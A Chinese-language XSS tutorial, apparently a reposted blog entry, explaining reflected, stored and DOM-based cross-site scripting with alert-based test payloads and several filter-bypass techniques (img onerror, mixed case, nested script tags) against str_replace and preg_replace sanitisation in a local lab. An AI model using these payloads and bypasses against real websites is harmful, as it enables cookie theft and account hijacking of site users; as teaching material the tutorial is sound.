xss

<script>alert('xss')</script>

XSS简介 – 原理
攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览
这些网页(或触发其他条件),从而执行其中的恶意代码。


利用XSS弹出恶意警告框
<script>alert(‘xss’)</script>
网页不停刷新
<meta http-equiv=‘refresh’content=‘0’>
嵌入其他网站连接
<iframe src=http://127.0.0.1 width=0 height=0></iframe>
XSS简介 – 危害
窃取用户cookie,冒充用户身份进入网站
盗取各种用户账号
劫持用户回话,执行任意操作
刷流量,执行弹窗广告
传播蠕虫病毒

XSS简介 – 分类
1.反射型
一般不会进入服务器
特点:非持久型、参数跨站脚本
作用:调取用户cookie或者进行钓鱼
2.存储型
进入服务器
特点:持久型、更具危害性
作用:渗透、挂马、蠕虫病毒、钓鱼
3.dom型
新型的xss漏洞,基于js
可以归属于反射型xss

 


1. 反射型XSS(Reflected Cross-site Scripting)
也称做非持久性、参数型XSS。是最为常见的类型,也是使用最广的一种,
主要用于将恶意脚本附加到URL地址的参数后面。

http://127.0.0.1/search?php?key=“><script>alert(1)</script>
http://127.0.0.1/test.php?name=<iframe src=javascript:alert(1)>11

反射型XSS攻击的测试

(1) 查看代码,查找关键的变量,假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

(2)准备测试脚本,更多脚本见最后的几张图
<script>alert(document.cookie)</script> <script>alert(1)</script>
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie) "onclick="alert(1)

 


2. 存储型XSS(Stored Cross-site Scripting)
也称做持久型XSS(Persistend Cross-site Scripting),比反射性
XSS更具有威胁性。
攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要
受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
存储型XSS一般出现在网站留言、评论、博客日志等交互处,恶意脚
本被存储到客户端或服务器的数据库中

 


几种绕过方法
<script>alert(1)</script>

message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );当使用htmlspecialchars时 不能用但可以通过
name = str_replace( '<script>', '', $name

Message由于使用了htmlspecialchars方法对用户输入数据进行编码转换,因此不存在xss漏洞。
但是name由于仅仅用了str_replace方法把<script>替换为空,于是我们有以下三种方法来绕过:
非<script>标签: <img src=0 onerror=alert(/xss1/)>
大小写转换:<Script>alert(/xss2/)</sCript>
双重<script>标签:<sc<script>ript>alert(/xss3/)</script>


$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

preg_replace执行一个正则表达式的搜索和替换,此时可以使用别的标签<img> <a> <iframe>等,比如刚刚使用过的<img>,构造payload :<img src=0 onerror=alert(/xss/)>,
改包替换绕过,成功执行xss代码:

猜你喜欢

转载自www.cnblogs.com/hou159656/p/8983657.html
xss